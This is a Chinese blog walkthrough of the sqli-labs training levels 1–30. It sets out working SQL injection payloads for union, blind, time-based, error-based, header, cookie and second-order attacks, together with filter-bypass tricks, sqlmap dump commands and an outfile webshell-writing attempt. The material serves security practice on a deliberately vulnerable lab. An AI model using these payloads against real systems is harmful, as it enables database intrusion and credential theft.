sqli-labs详解------持续更新
如今已经很少使用手动注入了,写这篇的初心在于掌握并熟记手动注入,
目录
注:
如果过程出现这个鸟样的报错,不要怀疑你的代码出问题,看一下这个大佬的解决办法:

less-1(字符型注入)

这里给出提示让输入id,那就在url后面加入id=1试试,发现随着id改变,得到的结果不同,并且输入的内容都放进了数据库查询并显示结果:


接下来让它报错,下面的%27是英文的单引号:


在后面添加注释符后恢复正常,存在注入,接下来判断列数:
?id=1' order by 1,2,3--+

?id=1' order by 1,2,3,4--+

得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:
?id=-1'union select 1,2,3--+

根据结果可知,2和3的位置回显出来了,查询数据库名:
?id=-1' union select 1,2,database()--+

得到数据库名:security,继续爆表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。
这里需要的内容在users表中,目前知道数据库名,还有表名,爆字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到敏感信息password,爆字段内容:
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

成功拿到所有username和password的内容。
less-2(整数型注入)

这里添加单引号后报错,但后面无论添加什么注释符都没用,看一下源码:


原来是 整数型注入,注入步骤跟第一关一致,这里简单带过一下:
?id=-1 union select 1,2,group_concat(username,id,password) from users

less-3

加个单引号,看看啥情况:

看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容:
?id=1') --+

后面的又跟上面一样了,简单带过:
?id=-1') union select 1,2,group(username,id,password) from users--+

less-4

想办法先让它报个错看看,输入单引号没用,双引号可以:


同样,还差一个')'未闭合,那就加个')',再加个'--+'注释:

剩下的还是跟前面一样,这里简单带过:
?id=-1") union select 1,2,group_concat(username,id,password) from users --+

less-5(布尔盲注)

这里的话,无论是id=1,2,3,这个页面均没有变化:


添加单引号和注释符后,虽然可以恢复,但是在使用union select查询回显位时没有反应,因此只能选择考虑盲注这一块了:

这里可以试试布尔盲注,布尔盲注主要用到三个函数,length()、asciil()、substr();
length():用于判断长度,如果不对则报错,如果正确,则恢复正常页面;
ascii():用于将字符转化为ASCII码,然后猜测当前字符的ASCII码,并推出该字符;
substr():截取字符串,如substr(a,b,c),a为需要截取的字符串,b为截取的开始位置,c为截取的长度。
那就先用length()试试水:
?id=1' and length(database())=8 --+

得到数据库名的长度为8个字符,接下来逐个判断它的ASCII码:
?id=1' and ascii(substr(database(),1,1))=115 --+

得到数据库,名第一个字符的ASCII吗为115,为小写s:

像这样一步一步就可以推出数据库名了,由于太耗时间,这里进行下一步,爆表,首先也要判断表的长度:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+

这里可以得到表名的长度 大于28,不大于29,因此表名长度为29,接着判断表名的第一个字符的ASCII码,并推出值,其实就是将上面的length()函数替换成ascii(substr()) 函数:
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 --+

得到第一张表的第一个字符的ASCII码为101,即为e:

后面的交给sqlmap:
python sqlmap.py -u "http://localhost/sqli/less-5/?id=1" --batch -D security -T users --columns --dump

less-6

老规矩,先报错看看,还是单引号不行,双引号可以,再加个注释符,其余跟第五题一样,这里就不复现了,将第五题的单引号改成双引号就可以了。

less-7

一样,先报错看看,找到闭合符')),再加上注释符恢复正常页面:

这个题有两种解法,第一种跟上面盲注一致,没有挑战性,照葫芦画瓢就行,第二种是根据它的提示outfile来做,最终的语句如下:
?id=1')) union select 1,2,3 into outfile "D:\\2.txt" --+
简单说明一下踩过的坑,首先这段话的意思是把字符'3'写道指定的文件中,即上面的2.txt中,这里的'3'可以替换为一句话🐎,但我使用自己的电脑,并没有成功写入🐎,也没找到原因,换成字符后可以写入,还有就是需要在mysql配置文件中添加secure_file_priv="/",不然没有写文件的权限,接着可以使用下面这段sql语句查看一下是否开启写入文件的权限;
show variables like '%secure%';

最后一个坑是这里的 secure_file_priv 显示在D:\,然后我写入文件时的路径也只能在D盘下才能写入,如果是linux系统的话,应该只需要配置secure_file_priv就行了。
less-8

老规矩,使其报错,输入单引号后,啥也没有,但输入双引号后又出现了,说明应该是无回显的盲注:


那直接用上面提到的三个函数就行了,即length()、substr()、ascii()。
剩下的交给sqlmap:
python sqlmap.py -u "http://localhost/sqli/less-8/?id=1" --batch

python sqlmap.py -u "http://localhost/sqli/less-8/?id=1" --batch -D secruity -T users --columns --dump

对于盲注这一块,能用工具跑的,绝不用手动,因为手动效率太慢了!
less-9(时间盲注)

这关有意思,不管你输入什么,页面也不会改变,那应该就是时间盲注了,时间盲注无非就多了个if()函数和sleep()函数,如:if(a,sleep(3),1),这个意思是如果a是真的,则页面延迟3秒,如果a是假的,则页面无延迟,那就好办了,首先判断一下数据库长度:
?id=1' and if(length(database())>7,sleep(3),1) --+

这个延迟效果估计看图片不容易看出来,不过意思到了就行了,至少确定是时间盲注了,接下来爆数据库名:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

由此得出当前数据库名字的第一个字符的ASCII码为115,即's':

接着爆表长度:
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(3),1) --+

得到表的长度为29,接下来爆表名字的内容:
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(3),1) --+

得到表名的第一个字符的ASCII码为101,即'e':

后面再判断字段长度、字段名、字段内容,剩下的sqlmap上场:
python sqlmap.py -u "http://localhost/sqli/less-9/?id=1" --batch

python sqlmap.py -u "http://localhost/sqli/less-9/?id=1" --batch -D security -T users --columns --dump

less-10

看了一下源码,其实跟第九关差不多,把单引号改成双引号就一样了:

如果不熟悉的话,可以再练一遍,这里就不写了。
less-11

变了个样,让我的sql语句有个像样的地方插入了,不过换汤不换药,老规矩,先试试报错,这里的话,输入单引号就可以报错了,不过‘--+’不管用了,得换成‘#’,这里就不放图片了。
一般像这种登录框,先试试万能钥匙:
1' or 1=1 #

可以登录,那后面就简单了,判断列数:
1' order by 3 #

1' order by 2 #

没报错,说明列数有两列,看看回显位置:
1' union select 1,2 #

爆数据库:
1' union select 1,database() #

爆表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

爆字段:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

爆字段内容:
1' union select 1,group_concat(username,id,password) from users #

less-12

使其报错发现,跟上一关的区别在于,闭合符变成"),其它都一样,这里就简单带过:
1") union select 1,group_concat(username,id,password) from users #

less-13 (报错注入)

还是一样,先让他报错:

找到闭合符'),但是使用联合查询时,没有回显,时间盲注也不行,学个新的,报错注入,这里简单介绍一下两个函数:
extractvalue(xml_document,Xpath_string)
updatexml(xml_document,xpath_string,new_value)
#把你想查询的东西替换上面的Xpath,其它的随便用数字替换就行
这里使用updatexml函数,别问,问就是好记。
1') and updatexml(1,concat(0x7e,database()),1) #

这里的0x7e是'~',也可以换成其它符号,目的是区分出所查询的东西的位置,我看普遍都是用0x7e,我也跟随大众。
爆表:
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #
爆字段:
1') and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),40,100),0x7e),1) #

这里的话,由于直接使用报错注入,会存在数据太多,显示不全的问题,因此这里使用了mid函数来截取所需内容,mid函数简单介绍如下:
mid('abcde',1,3)
#第一个参数是需要截取的字符,第二个参数是截取的起始位置,第三个参数是截取的字符数量
还有就是,limit和group_concat不能同时使用,因此这里我并没有使用limit来截取。
爆字段内容:
1') and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #

同理,这里也出现显示不全,但最终用户名和密码是获取了,具体需要哪一个,可以使用mid函数去截取。
less-14

跟上一关一样的做法,也是报错注入,只不过闭合符变成了双引号,这里简单带过一下:
1" and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #

less-15

这里稍微卡了一下,因为我前面用的都是1,结果到这不行了,换成字符就可以了,而且还只能是admin,a都不行。这里的闭合符号也是单引号,不一样的是这里不会报错,那只能试试时间盲注了:
admin' and sleep(5) #

判断数据库长度:
admin' and if(length(database())=8,sleep(3),1) #

爆数据库名:
admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1) #

判断表长度:
admin' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(3),1) #
爆表:
admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(3),1) #
爆字段长度:
admin' and if(length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29,sleep(3),1) #
爆字段内容:
admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))>1,sleep(3),1) #
python sqlmap.py -r s.txt --batch

python sqlmap.py -r s.txt --batch -D secruity -T users --columns --dump
时间盲注太慢了,这里就不放图片了。
less-16

还是无论输入说明都没有反应,很大可能又是时间盲注,但是没找到闭合符,看一下源码:

闭合符为"),剩下的跟上一关一致,交给sqlmap:
python sqlmap.py -r s.txt --batch

时间盲注太耗时间,就不跑了。
less-17

这关开始有绕过了,难度上升,先看看源码:

该函数的目的是对输入进行处理,确保其符合预期格式。它会截断字符串的长度、去除转义字符,并将非数字类型的值进行引用和转义,而数字类型的值则转换为整数。
所以当输入的username时,在这就经过了过滤,基本上这里就不能使用username处进行注入了,只能选择password处注入,但前提是username要输入正确。

这个我理解的意思是先查询username,当username正确时,查询password,这里也就是为什么必须要输入正确的username才能在password处实施注入。
这里的话,可以使用报错注入:
爆数据库:
admin
1' and updatexml(1,concat(0x7e,database(),0x7e),1) #

爆表:
admin
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

爆字段:
admin
1' and updatexml(1,mid((concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)),40,100),1) #

爆字段内容:
admin
1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #

报错了,注意看前面的源码部分,在password处使用的是UPDATE,在MySQL中同一个语句不能先select表中内容再update表,因此这里可以用子查询的方式去替换,即:
(select username,id,password from users)a
所以就是:
1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from (select username,id,password from users)a),0x7e),1) #

这种替换是为了在查询中使用子查询,将username、id、password列作为一个子查询的结果,并将其命名为a。
less-18(User-Agent注入)

也是跟上面一样,输入什么都没反应,但是底下多了一个IP,有可能是User-Agent注入,先看看源码:

这个是一个过滤函数。

很明显,这里username和password都被过滤了,这里还直接输出User-Agent,利用点就在这了。

最后是两个sql语句
从这里就可以看出注入点就是U-A头了,且闭合语句是:
1',1,1)#
接下来就开始抓包处理了,这里因为需要输入正确的username和password才能进行注入,而我还以为是简单的admin/admin,结果并不是,那就爆破一手。

可以看出,密码应该是:
000001
0000001
验证一下:

可见,登录成功之后,显示了User-Agent,这也就是为什么需要输入正确的username和password才能注入了,这里的话,使用报错注入,这里我选择的是还是updatexml()函数,别问,问就是好记。
',updatexml(1,concat(0x7e,database(),0x7e),1),1)#

爆表:
',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#

爆字段:
',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1),1)#

同样,显示不全,加个mid()函数:
',updatexml(1,mid(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),40,100),1),1)#

爆字段内容:
',updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1),1)#

中途换了个网,网太差了。。
less-19(Referer注入)

这关同样怎么输也没用,应该是跟上关相差不大,输入上关爆破的密码试试:

一目了然,为Referer注入,抓包看报错,找闭合:

1',1)#
爆库:
',updatexml(1,concat(0x7e,database(),0x7e),1))#

后面的就跟上一关一致了,这里简单带过一下:
',updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1))#

less-20(Cookie注入)

依旧输入什么也没有用,那就登录看看:
看到了一大堆输出,其中在cookie在看到了uname,应该是cookie注入,抓包构造语句:


可以看出,'#为闭合语句。
查看列数:
'order by 4 #

' order by 3#

列数为3列。找到注入点后,后面就是简单的联合查询了,这里就简单带过一下:
Cookie: uname='union select 1,(select group_concat(username,0x7e,password) from users),3#

less-21

同样输入任何都没反应,登录进去看看:

和上一关长一样,应该也是cookie注入,抓个包看看:

可以看出来,这里的cookie被base64加密了,先找到闭合符:

闭合符为'),后面就相当于把上一关的payload使用base64加密,这里就简单带过一下:
-admin') union select 1,(select group_concat(username,0x7e,password) from users),3 #
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMyAj

less-22

同样,先登录看看:

这不还是一样的嘛,它甚至连内容标题都懒得改,都还是21,抓个包:

cookie依旧是使用base64加密,找闭合符:

闭合符是双引号,后面的就跟上一关一样了,这里就简单带过一下:
-admin" union select 1,(select group_concat(username,0x7e,password) from users),3 #
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDdlLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwzICM=

less-23(注释符绕过)

这关似乎回到了最初的样子,变成id了,同样找闭合符:

闭合符为单引号,不过这里就遇到了一个问题,注释不了,看来这关难点在这,看看源码吧:

可以看出,过滤掉了'#'和'--',相对于匹配id中的字符,将里面的'#'和'--'替换成空格,再把空格去掉,当我还在看怎么绕过这个过滤时, 突然看到大佬的一个思路,既然没办法绕过,那就再加一个单引号闭合后面的单引号:
?id=-1' union select 1,2,3'

果然可以,爆库:
?id=-1' union select 1,concat(0x7e,database(),0x7e),3'

爆表:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3'

爆字段:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3'

爆字段内容:
?id=-1' union select 1,(select group_concat(username,0x7e,password) from users),3'

这里还可以使用报错注入,但是只能嵌套在union select中,不能直接使用:
?id=-1' union select 1,(updatexml(1,concat(0x7e,database(),0x7e),1)),3'

less-24 (二次注入)

这关看起来比较复杂,但其实从就是一个典型的二次注入, 首先查看一下所有的用户名和密码:

接着去注册一个账号:
admin' #
111


接着登录一下刚才那个账号:

然后修改一下密码:
111
222
222

修改成功,当再次查询密码时,会发现admin的密码被修改成222了,而刚才那个账号还在:

这是因为当登录那个新账号时,修改密码的sql语句就变成了:
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就变成了:
UPDATE users SET passwd="New_Pass" WHERE username =' admin'
那就相对于直接对admin账号进行修改密码了,这就是典型的二次注入。
less-25(双写绕过)

提示'or'和'and'被过滤掉了,那就双写绕过,其实也就是在'or'里面再加一个'or',也就变成了'oorr',因为只过滤一次,把中间这个'or'过滤掉之后,还剩下一个'or',先判断列数:
?id=1' oorrder by 3 --+

?id=1' oorrder by 4 --+

为三列,后面的就跟原始注入一样,无非就是在包含有'or'或者有'and'的情况下双写一下,这里就简单带过一下:
?id=-1' union select 1,2,(select group_concat(username,0x7e,passwoorrd) from users) --+

less-25a
提示还是过滤了'or'和'and',当我还在找闭合符的时候,后面发现其实就是个数字型注入。。。

只是加了个过滤,简单带过一下:
?id=-1 union select 1,2,(select group_concat(username,0x7e,passwoorrd) from users)

less-26(双写、注释符绕过)

看一下源码吧,这关有点难绕:

过滤了挺多的,'or'、'and'、一些注释符、空格等都被过滤了,'and'和'or'倒是可以双写绕过,空格的话,我只想到了一个/**/,但是也被过滤了,所以我又新学了一个()绕过,最后的注释符也是使用新学的';%00'绕过,这里选用空格比较少的报错注入:
?id=1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

爆表:
?id=1'anandd(updatexml(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1));%00

爆字段:
?id=1'anandd(updatexml(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),1));%00

显示不全,加个mid:
?id=1'anandd(updatexml(1,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),40,100),1));%00

爆字段内容:
?id=1'anandd(updatexml(1,(select(group_concat(username,0x7e,passwoorrd))from(users)),1));%00

less-26a

这关的过滤跟上关一样,不一样的是闭合符号不同:

但是这关的报错没有报出sql语句,因此不能使用报错注入了,这里我使用的是布尔盲注,这个的空格相对于联合查询来说要少一些:
?id=1')anandd(length(database())=8);%00

?id=1')anandd(ascii(substr(database(),1,1))=115);%00

?id=1')anandd(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))=29);%00

?id=1')anandd(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1))=101);%00

剩下的似乎sqlmap跑不了,那就到这吧。
less-27 (三写绕过)

看看源码,都过滤了哪些:

多了联合查询过滤,并且大小写也过滤了,还过滤了多次,闭合符依旧还是单引号:

话不多说,上报错注入,爆库:
?id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1));%00

爆表,这里的话因为过滤了'select',试了一下,双写绕不过,不过三写可以:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1));%00

爆字段:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1));%00

显示不全,再加mid:
?id=1'and(updatexml(1,mid((seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),40,100),1));%00

爆字段内容:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(username,0x7e,password))from(users)),1));%00

less-27a

这关跟26a一样,不能使用报错注入,闭合符为双引号:

过滤的东西跟上关一样,也就是说这里改成布尔盲注,里面的'select'也使用三写绕过即可,步骤就不写了。
less-28 (union select 双写绕过)

找一下闭合符:

闭合符是'),同样这里也不能使用报错注入,看一下过滤:
过滤了一些注释符,还有联合查询语句,这里看源码是因为我做的时候,感觉比上关还要简单,'select'没被过滤??这里的意思难道是只过滤'union select',当只有'select'的时候就过滤不了了?
这里我就只写了个判断表名的语句:
?id=1')and(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))=29);%00

从页面响应以及下面的语句可以看出,'select'没被过滤,那后面就是简单的布尔盲注了。
less-28a

看一下源码:

只剩下一个联合查询过滤了,这里我收回前面的话,就是前面我觉得它过滤了联合查询,但我单独用'select'却没问题,这并不是题目的问题,而是为自己的问题,因为这里是一定存在sql注入的,而一般情况下我们是不知道这个点有没有sql注入,使用'order by'判断完列数后,需要使用'union select'来查看回显情况,而我前面直接就进行注入了,所以还是得绕,这一关只有过滤联合查询语句,那就双写绕过,这里的闭合符也是'):
?id=-1' )ununion selection select 1,2,3 --+

爆库:
?id=-1') ununion selection select 1,2,database() --+

爆表:
?id=-1') ununion selection select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

爆字段:
?id=-1') ununion selection select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

爆字段内容:
?id=-1') ununion selection select 1,2,(select group_concat(username,0x7e,password) from users) --+

less-29

简单测试了一下,难道这关回到最初的难度了?怎么注入跟第一关一致,甚至连过滤都没有:

判断列数和查询注入点,这里就不再写了,但在实际中还是需要判断和查询。
爆库:
?id=-1' union select 1,2,database() --+
爆表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆字段:
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆字段内容:
?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users) --+

less-30

跟上一关的区别在于闭合符变成双引号的字符型注入,这里就简单带过一下:
?id=-1"union select 1,2,(select group_concat(username,0x7e,password) from users) --+

更多推荐




所有评论(0)